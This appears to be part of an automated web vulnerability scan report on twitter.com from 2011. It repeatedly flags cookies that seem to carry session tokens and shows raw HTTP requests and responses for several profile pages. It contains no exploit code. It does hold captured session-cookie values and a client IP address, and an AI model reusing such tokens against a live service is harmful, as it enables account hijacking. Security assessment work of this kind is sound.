HTTP/1.0 200 OK Date: Wed, 02 Feb 2011 16:31:18 GMT Server: hi Status: 200 OK X-Transaction: 1296664278-24854-30849 ETag: "56d73abc9fb34be8c0c69741ec8b2d21" Last-Modified: Wed, 02 Feb 2011 16:31:18 GMT X-Runtime: 0.01148 Content-Type: text/html; charset=utf-8 Content-Length: 50085 Pragma: no-cache X-Revision: DEV Expires: Tue, 31 Mar 1981 05:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0 Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: _twitter_sess=BAh7CjoPY3JlYXRlZF9hdGwrCPJPud4tAToMY3NyZl9pZCIlZmM1MjY1NTU4%250AZjcyOWZjODA5MTJiYTUwZWE4ZDlhMzc6FWluX25ld191c2VyX2Zsb3cwIgpm%250AbGFzaElDOidBY3Rpb25Db250cm9sbGVyOjpGbGFzaDo6Rmxhc2hIYXNoewAG%250AOgpAdXNlZHsAOgdpZCIlMGVlOWJhOTNiMzdlODNmODU1NTg3NTBiY2U0NmNh%250AODk%253D--bba436ff6544a757e8daffd78a6aea9727118972; domain=.twitter.com; path=/ X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <meta htt ...[SNIP]...
guest_id=12965707721577760; path=/; expires=Thu, 03 Mar 2011 14:32:52 GMT
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /best_golf HTTP/1.1 Host: twitter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 200 OK Date: Tue, 01 Feb 2011 14:32:52 GMT Server: hi Status: 200 OK X-Transaction: 1296570772-68378-30078 ETag: "942af770678a66a93ab8ed20fc7fbe09" Last-Modified: Tue, 01 Feb 2011 14:32:52 GMT X-Runtime: 0.01017 Content-Type: text/html; charset=utf-8 Content-Length: 49487 Pragma: no-cache X-Revision: DEV Expires: Tue, 31 Mar 1981 05:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0 Set-Cookie: k=173.193.214.243.1296570769287275; path=/; expires=Tue, 08-Feb-11 14:32:49 GMT; domain=.twitter.com Set-Cookie: guest_id=12965707721577760; path=/; expires=Thu, 03 Mar 2011 14:32:52 GMT Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: _twitter_sess=BAh7CDoHaWQiJTg0NDU2NzMyMGRkNmVhMmVmM2E3OTY3MzEzNDRhNmY3Igpm%250AbGFzaElDOidBY3Rpb25Db250cm9sbGVyOjpGbGFzaDo6Rmxhc2hIYXNoewAG%250AOgpAdXNlZHsAOg9jcmVhdGVkX2F0bCsIv%252Bqj4S0B--d65ee02c97fc9e9f3fae0cf9021c58b815ea69b0; domain=.twitter.com; path=/ X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <meta htt ...[SNIP]...
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /business HTTP/1.1 Host: twitter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: original_referer=4bfz%2B%2BmebEkRkMWFCXm%2FCUOsvDoVeFTl; __utmv=43838368.lang%3A%20en; guest_id=129452629042599503; __utmz=43838368.1296314194.3.3.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/92; auth_token=; __utma=43838368.1078689092.1296223511.1296521894.1296663641.5; _twitter_sess=BAh7CjoPY3JlYXRlZF9hdGwrCPJPud4tAToMY3NyZl9pZCIlZmM1MjY1NTU4%250AZjcyOWZjODA5MTJiYTUwZWE4ZDlhMzc6FWluX25ld191c2VyX2Zsb3cwOgdp%250AZCIlMGVlOWJhOTNiMzdlODNmODU1NTg3NTBiY2U0NmNhODkiCmZsYXNoSUM6%250AJ0FjdGlvbkNvbnRyb2xsZXI6OkZsYXNoOjpGbGFzaEhhc2h7BjoLbm90aWNl%250AMAY6CkB1c2VkewY7ClQ%253D--5a2e49e97d480d46a9c20e3da4ca89031ded8efb; __utmc=43838368; __utmb=43838368.3.10.1296663641; k=173.193.214.243.1296227675375304;
Response
HTTP/1.0 301 Moved Permanently Date: Wed, 02 Feb 2011 16:31:49 GMT Server: hi Status: 301 Moved Permanently X-Transaction: 1296664309-5763-17985 Last-Modified: Wed, 02 Feb 2011 16:31:49 GMT Location: http://business.twitter.com/ X-Runtime: 0.01329 Content-Type: text/html; charset=utf-8 Content-Length: 94 Pragma: no-cache X-Revision: DEV Expires: Tue, 31 Mar 1981 05:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0 Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: _twitter_sess=BAh7CjoPY3JlYXRlZF9hdGwrCPJPud4tAToMY3NyZl9pZCIlZmM1MjY1NTU4%250AZjcyOWZjODA5MTJiYTUwZWE4ZDlhMzc6FWluX25ld191c2VyX2Zsb3cwIgpm%250AbGFzaElDOidBY3Rpb25Db250cm9sbGVyOjpGbGFzaDo6Rmxhc2hIYXNoewAG%250AOgpAdXNlZHsAOgdpZCIlMGVlOWJhOTNiMzdlODNmODU1NTg3NTBiY2U0NmNh%250AODk%253D--bba436ff6544a757e8daffd78a6aea9727118972; domain=.twitter.com; path=/ X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Connection: close
<html><body>You are being <a href="http://business.twitter.com/">redirected</a>.</body></html>
guest_id=1296570799040535; path=/; expires=Thu, 03 Mar 2011 14:33:19 GMT
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /buyantsogtoo HTTP/1.1 Host: twitter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 200 OK Date: Tue, 01 Feb 2011 14:33:19 GMT Server: hi Status: 200 OK X-Transaction: 1296570799-74375-37658 ETag: "364468a11a20806213cf8eb3c5356618" Last-Modified: Tue, 01 Feb 2011 14:33:19 GMT X-Runtime: 0.00791 Content-Type: text/html; charset=utf-8 Content-Length: 52881 Pragma: no-cache X-Revision: DEV Expires: Tue, 31 Mar 1981 05:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0 Set-Cookie: k=173.193.214.243.1296570799027712; path=/; expires=Tue, 08-Feb-11 14:33:19 GMT; domain=.twitter.com Set-Cookie: guest_id=1296570799040535; path=/; expires=Thu, 03 Mar 2011 14:33:19 GMT Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: _twitter_sess=BAh7CDoHaWQiJWQ2NzZkMGVmMDMxYmNiN2IxZjBmOTdmN2VhMTRhZjMzIgpm%250AbGFzaElDOidBY3Rpb25Db250cm9sbGVyOjpGbGFzaDo6Rmxhc2hIYXNoewAG%250AOgpAdXNlZHsAOg9jcmVhdGVkX2F0bCsIwVOk4S0B--7af583231980c89fe8b1a8b6c0b84deaf067171e; domain=.twitter.com; path=/ X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <meta htt ...[SNIP]...
guest_id=12965707683009389; path=/; expires=Thu, 03 Mar 2011 14:32:48 GMT
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /chain_llc HTTP/1.1 Host: twitter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 200 OK Date: Tue, 01 Feb 2011 14:32:48 GMT Server: hi Status: 200 OK X-Transaction: 1296570768-10807-47801 ETag: "f9a393245c11bc02c2ae91805680e7ec" Last-Modified: Tue, 01 Feb 2011 14:32:48 GMT X-Runtime: 0.01474 Content-Type: text/html; charset=utf-8 Content-Length: 38705 Pragma: no-cache X-Revision: DEV Expires: Tue, 31 Mar 1981 05:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0 Set-Cookie: k=173.193.214.243.1296570765904767; path=/; expires=Tue, 08-Feb-11 14:32:45 GMT; domain=.twitter.com Set-Cookie: guest_id=12965707683009389; path=/; expires=Thu, 03 Mar 2011 14:32:48 GMT Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: _twitter_sess=BAh7CDoHaWQiJTNkOGIzZjA0MzgzOTVmMjU4NjQyMDQwZjA1NTg1MzBmIgpm%250AbGFzaElDOidBY3Rpb25Db250cm9sbGVyOjpGbGFzaDo6Rmxhc2hIYXNoewAG%250AOgpAdXNlZHsAOg9jcmVhdGVkX2F0bCsIsNuj4S0B--862e59bb3bd797cae7bb00e4d5f0ae979dd432a7; domain=.twitter.com; path=/ X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <meta htt ...[SNIP]...
guest_id=129657079280389025; path=/; expires=Thu, 03 Mar 2011 14:33:12 GMT
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /chain_llc_cod HTTP/1.1 Host: twitter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 200 OK Date: Tue, 01 Feb 2011 14:33:12 GMT Server: hi Status: 200 OK X-Transaction: 1296570792-52582-15646 ETag: "75cf00f02d3fa94a4cce59ac510bc0b6" Last-Modified: Tue, 01 Feb 2011 14:33:12 GMT X-Runtime: 0.01503 Content-Type: text/html; charset=utf-8 Content-Length: 38868 Pragma: no-cache X-Revision: DEV Expires: Tue, 31 Mar 1981 05:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0 Set-Cookie: k=173.193.214.243.1296570792676013; path=/; expires=Tue, 08-Feb-11 14:33:12 GMT; domain=.twitter.com Set-Cookie: guest_id=129657079280389025; path=/; expires=Thu, 03 Mar 2011 14:33:12 GMT Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: _twitter_sess=BAh7CDoHaWQiJTMwMzMxNzg4MGI3NmU0YzUzNWMyODY2OWI5YTE0YmZhIgpm%250AbGFzaElDOidBY3Rpb25Db250cm9sbGVyOjpGbGFzaDo6Rmxhc2hIYXNoewAG%250AOgpAdXNlZHsAOg9jcmVhdGVkX2F0bCsIZTuk4S0B--8fef274b328043273d28c9d450850d5560e59e88; domain=.twitter.com; path=/ X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <meta htt ...[SNIP]...
guest_id=129657076829194484; path=/; expires=Thu, 03 Mar 2011 14:32:48 GMT
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /chain_llc_mg HTTP/1.1 Host: twitter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 200 OK Date: Tue, 01 Feb 2011 14:32:48 GMT Server: hi Status: 200 OK X-Transaction: 1296570768-88752-1879 ETag: "e7b448ce41f072da7cf0c0e79e7ea904" Last-Modified: Tue, 01 Feb 2011 14:32:48 GMT X-Runtime: 0.02410 Content-Type: text/html; charset=utf-8 Content-Length: 37922 Pragma: no-cache X-Revision: DEV Expires: Tue, 31 Mar 1981 05:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0 Set-Cookie: k=173.193.214.243.1296570765567580; path=/; expires=Tue, 08-Feb-11 14:32:45 GMT; domain=.twitter.com Set-Cookie: guest_id=129657076829194484; path=/; expires=Thu, 03 Mar 2011 14:32:48 GMT Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: _twitter_sess=BAh7CDoHaWQiJTI3MjVhMGJiZTQ1ZDk4ZGZhMTRlMjQyM2E4Y2VmY2QyIgpm%250AbGFzaElDOidBY3Rpb25Db250cm9sbGVyOjpGbGFzaDo6Rmxhc2hIYXNoewAG%250AOgpAdXNlZHsAOg9jcmVhdGVkX2F0bCsIpduj4S0B--efc213a9b24ebd70cca35dda557409a2fd957e56; domain=.twitter.com; path=/ X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <meta htt ...[SNIP]...
guest_id=12965707698208199; path=/; expires=Thu, 03 Mar 2011 14:32:49 GMT
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /cloudscan HTTP/1.1 Host: twitter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 200 OK Date: Tue, 01 Feb 2011 14:32:49 GMT Server: hi Status: 200 OK X-Transaction: 1296570769-80688-30975 ETag: "f6d6928da3cefbfd657cd1e00ee32f98" Last-Modified: Tue, 01 Feb 2011 14:32:49 GMT X-Runtime: 0.01580 Content-Type: text/html; charset=utf-8 Content-Length: 36105 Pragma: no-cache X-Revision: DEV Expires: Tue, 31 Mar 1981 05:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0 Set-Cookie: k=173.193.214.243.1296570766765958; path=/; expires=Tue, 08-Feb-11 14:32:46 GMT; domain=.twitter.com Set-Cookie: guest_id=12965707698208199; path=/; expires=Thu, 03 Mar 2011 14:32:49 GMT Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: _twitter_sess=BAh7CDoHaWQiJTMwNTIyZTg1YmY2Njc3ZmZiYjAyZmEyMGViOWMyOTAwIgpm%250AbGFzaElDOidBY3Rpb25Db250cm9sbGVyOjpGbGFzaDo6Rmxhc2hIYXNoewAG%250AOgpAdXNlZHsAOg9jcmVhdGVkX2F0bCsIneGj4S0B--2358db729323d545c46cdb0ecb8b26170a259191; domain=.twitter.com; path=/ X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <meta htt ...[SNIP]...
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /coolmompicks HTTP/1.1 Host: twitter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: original_referer=4bfz%2B%2BmebEkRkMWFCXm%2FCUOsvDoVeFTl; __utmv=43838368.lang%3A%20en; guest_id=129452629042599503; __utmz=43838368.1296314194.3.3.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/92; auth_token=; __utma=43838368.1078689092.1296223511.1296521894.1296663641.5; _twitter_sess=BAh7CjoPY3JlYXRlZF9hdGwrCPJPud4tAToMY3NyZl9pZCIlZmM1MjY1NTU4%250AZjcyOWZjODA5MTJiYTUwZWE4ZDlhMzc6FWluX25ld191c2VyX2Zsb3cwOgdp%250AZCIlMGVlOWJhOTNiMzdlODNmODU1NTg3NTBiY2U0NmNhODkiCmZsYXNoSUM6%250AJ0FjdGlvbkNvbnRyb2xsZXI6OkZsYXNoOjpGbGFzaEhhc2h7BjoLbm90aWNl%250AMAY6CkB1c2VkewY7ClQ%253D--5a2e49e97d480d46a9c20e3da4ca89031ded8efb; __utmc=43838368; __utmb=43838368.3.10.1296663641; k=173.193.214.243.1296227675375304;
Response
HTTP/1.0 200 OK Date: Wed, 02 Feb 2011 16:31:24 GMT Server: hi Status: 200 OK X-Transaction: 1296664284-31611-15051 ETag: "2e9cb50b86de201e0801577f336f15e5" Last-Modified: Wed, 02 Feb 2011 16:31:24 GMT X-Runtime: 0.01639 Content-Type: text/html; charset=utf-8 Content-Length: 48509 Pragma: no-cache X-Revision: DEV Expires: Tue, 31 Mar 1981 05:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0 Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: _twitter_sess=BAh7CjoPY3JlYXRlZF9hdGwrCPJPud4tAToMY3NyZl9pZCIlZmM1MjY1NTU4%250AZjcyOWZjODA5MTJiYTUwZWE4ZDlhMzc6FWluX25ld191c2VyX2Zsb3cwIgpm%250AbGFzaElDOidBY3Rpb25Db250cm9sbGVyOjpGbGFzaDo6Rmxhc2hIYXNoewAG%250AOgpAdXNlZHsAOgdpZCIlMGVlOWJhOTNiMzdlODNmODU1NTg3NTBiY2U0NmNh%250AODk%253D--bba436ff6544a757e8daffd78a6aea9727118972; domain=.twitter.com; path=/ X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <meta htt ...[SNIP]...
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /davidgregory HTTP/1.1 Host: twitter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: original_referer=4bfz%2B%2BmebEkRkMWFCXm%2FCUOsvDoVeFTl; __utmv=43838368.lang%3A%20en; guest_id=129452629042599503; __utmz=43838368.1296314194.3.3.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/92; auth_token=; __utma=43838368.1078689092.1296223511.1296521894.1296663641.5; _twitter_sess=BAh7CjoPY3JlYXRlZF9hdGwrCPJPud4tAToMY3NyZl9pZCIlZmM1MjY1NTU4%250AZjcyOWZjODA5MTJiYTUwZWE4ZDlhMzc6FWluX25ld191c2VyX2Zsb3cwOgdp%250AZCIlMGVlOWJhOTNiMzdlODNmODU1NTg3NTBiY2U0NmNhODkiCmZsYXNoSUM6%250AJ0FjdGlvbkNvbnRyb2xsZXI6OkZsYXNoOjpGbGFzaEhhc2h7BjoLbm90aWNl%250AMAY6CkB1c2VkewY7ClQ%253D--5a2e49e97d480d46a9c20e3da4ca89031ded8efb; __utmc=43838368; __utmb=43838368.3.10.1296663641; k=173.193.214.243.1296227675375304;
Response
HTTP/1.0 200 OK Date: Wed, 02 Feb 2011 16:31:20 GMT Server: hi Status: 200 OK X-Transaction: 1296664280-64037-24845 ETag: "8a07a7c7c39bf91acec811b53e8bd6e1" Last-Modified: Wed, 02 Feb 2011 16:31:20 GMT X-Runtime: 0.01500 Content-Type: text/html; charset=utf-8 Content-Length: 53701 Pragma: no-cache X-Revision: DEV Expires: Tue, 31 Mar 1981 05:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0 Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: _twitter_sess=BAh7CjoPY3JlYXRlZF9hdGwrCPJPud4tAToMY3NyZl9pZCIlZmM1MjY1NTU4%250AZjcyOWZjODA5MTJiYTUwZWE4ZDlhMzc6FWluX25ld191c2VyX2Zsb3cwIgpm%250AbGFzaElDOidBY3Rpb25Db250cm9sbGVyOjpGbGFzaDo6Rmxhc2hIYXNoewAG%250AOgpAdXNlZHsAOgdpZCIlMGVlOWJhOTNiMzdlODNmODU1NTg3NTBiY2U0NmNh%250AODk%253D--bba436ff6544a757e8daffd78a6aea9727118972; domain=.twitter.com; path=/ X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <meta htt ...[SNIP]...
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /designmilk HTTP/1.1 Host: twitter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: original_referer=4bfz%2B%2BmebEkRkMWFCXm%2FCUOsvDoVeFTl; __utmv=43838368.lang%3A%20en; guest_id=129452629042599503; __utmz=43838368.1296314194.3.3.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/92; auth_token=; __utma=43838368.1078689092.1296223511.1296521894.1296663641.5; _twitter_sess=BAh7CjoPY3JlYXRlZF9hdGwrCPJPud4tAToMY3NyZl9pZCIlZmM1MjY1NTU4%250AZjcyOWZjODA5MTJiYTUwZWE4ZDlhMzc6FWluX25ld191c2VyX2Zsb3cwOgdp%250AZCIlMGVlOWJhOTNiMzdlODNmODU1NTg3NTBiY2U0NmNhODkiCmZsYXNoSUM6%250AJ0FjdGlvbkNvbnRyb2xsZXI6OkZsYXNoOjpGbGFzaEhhc2h7BjoLbm90aWNl%250AMAY6CkB1c2VkewY7ClQ%253D--5a2e49e97d480d46a9c20e3da4ca89031ded8efb; __utmc=43838368; __utmb=43838368.3.10.1296663641; k=173.193.214.243.1296227675375304;
Response
HTTP/1.0 200 OK Date: Wed, 02 Feb 2011 16:31:13 GMT Server: hi Status: 200 OK X-Transaction: 1296664273-87114-28419 ETag: "9d887142551ffc970560f3437cf85064" Last-Modified: Wed, 02 Feb 2011 16:31:13 GMT X-Runtime: 0.01035 Content-Type: text/html; charset=utf-8 Content-Length: 51007 Pragma: no-cache X-Revision: DEV Expires: Tue, 31 Mar 1981 05:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0 Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: _twitter_sess=BAh7CjoPY3JlYXRlZF9hdGwrCPJPud4tAToMY3NyZl9pZCIlZmM1MjY1NTU4%250AZjcyOWZjODA5MTJiYTUwZWE4ZDlhMzc6FWluX25ld191c2VyX2Zsb3cwIgpm%250AbGFzaElDOidBY3Rpb25Db250cm9sbGVyOjpGbGFzaDo6Rmxhc2hIYXNoewAG%250AOgpAdXNlZHsAOgdpZCIlMGVlOWJhOTNiMzdlODNmODU1NTg3NTBiY2U0NmNh%250AODk%253D--bba436ff6544a757e8daffd78a6aea9727118972; domain=.twitter.com; path=/ X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <meta htt ...[SNIP]...
guest_id=12965707752439485; path=/; expires=Thu, 03 Mar 2011 14:32:55 GMT
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /donlomb HTTP/1.1 Host: twitter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 200 OK Date: Tue, 01 Feb 2011 14:32:55 GMT Server: hi Status: 200 OK X-Transaction: 1296570775-73415-59612 ETag: "ac15b4f3ef758ea8b83677d83e987f43" Last-Modified: Tue, 01 Feb 2011 14:32:55 GMT X-Runtime: 0.00802 Content-Type: text/html; charset=utf-8 Content-Length: 50405 Pragma: no-cache X-Revision: DEV Expires: Tue, 31 Mar 1981 05:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0 Set-Cookie: k=173.193.214.243.1296570772308394; path=/; expires=Tue, 08-Feb-11 14:32:52 GMT; domain=.twitter.com Set-Cookie: guest_id=12965707752439485; path=/; expires=Thu, 03 Mar 2011 14:32:55 GMT Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: _twitter_sess=BAh7CDoHaWQiJWIwYjRkNGZkZWJkMjQyMWVkNmJkZTgzMzI3MzdlNjhjIgpm%250AbGFzaElDOidBY3Rpb25Db250cm9sbGVyOjpGbGFzaDo6Rmxhc2hIYXNoewAG%250AOgpAdXNlZHsAOg9jcmVhdGVkX2F0bCsIzPaj4S0B--030bb95a52ee53c76439bbd70cb14ed1d739a3fd; domain=.twitter.com; path=/ X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <meta htt ...[SNIP]...
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
HTTP/1.1 200 OK Date: Wed, 02 Feb 2011 16:19:48 GMT Server: hi Status: 200 OK X-Transaction: 1296663587-30796-35299 X-RateLimit-Limit: 150 ETag: "1e70462644a7d8ec14b1b5205ff1f5f5"-gzip Last-Modified: Wed, 02 Feb 2011 16:19:47 GMT X-RateLimit-Remaining: 150 X-Runtime: 0.10378 X-Transaction-Mask: 0b5b266a28469a7b52ded76c9a66f018 Content-Type: application/json; charset=utf-8 Pragma: no-cache X-RateLimit-Class: api X-Revision: DEV Expires: Tue, 31 Mar 1981 05:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0 X-RateLimit-Reset: 1296667187 Set-Cookie: _twitter_sess=BAh7CToPY3JlYXRlZF9hdGwrCPJPud4tAToVaW5fbmV3X3VzZXJfZmxvdzA6%250AB2lkIiUwZWU5YmE5M2IzN2U4M2Y4NTU1ODc1MGJjZTQ2Y2E4OSIKZmxhc2hJ%250AQzonQWN0aW9uQ29udHJvbGxlcjo6Rmxhc2g6OkZsYXNoSGFzaHsABjoKQHVz%250AZWR7AA%253D%253D--0a212e703bac9709a6ddd2f1c5c5ab3b89a5d893; domain=.twitter.com; path=/ Vary: Accept-Encoding X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Connection: close Content-Length: 34225
TWTR.Widget.receiveCallback_1([{"text":"Joseph Gordon-Levitt is joining Christopher Nolan's The Dark Knight rises; rumor has it he may be The Riddler. http:\/\/imdb.to\/gNaSRG","coordinates":null,"in_ ...[SNIP]...
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /gamespot HTTP/1.1 Host: twitter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: original_referer=4bfz%2B%2BmebEkRkMWFCXm%2FCUOsvDoVeFTl; __utmv=43838368.lang%3A%20en; guest_id=129452629042599503; __utmz=43838368.1296314194.3.3.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/92; auth_token=; __utma=43838368.1078689092.1296223511.1296521894.1296663641.5; _twitter_sess=BAh7CjoPY3JlYXRlZF9hdGwrCPJPud4tAToMY3NyZl9pZCIlZmM1MjY1NTU4%250AZjcyOWZjODA5MTJiYTUwZWE4ZDlhMzc6FWluX25ld191c2VyX2Zsb3cwOgdp%250AZCIlMGVlOWJhOTNiMzdlODNmODU1NTg3NTBiY2U0NmNhODkiCmZsYXNoSUM6%250AJ0FjdGlvbkNvbnRyb2xsZXI6OkZsYXNoOjpGbGFzaEhhc2h7BjoLbm90aWNl%250AMAY6CkB1c2VkewY7ClQ%253D--5a2e49e97d480d46a9c20e3da4ca89031ded8efb; __utmc=43838368; __utmb=43838368.3.10.1296663641; k=173.193.214.243.1296227675375304;
Response
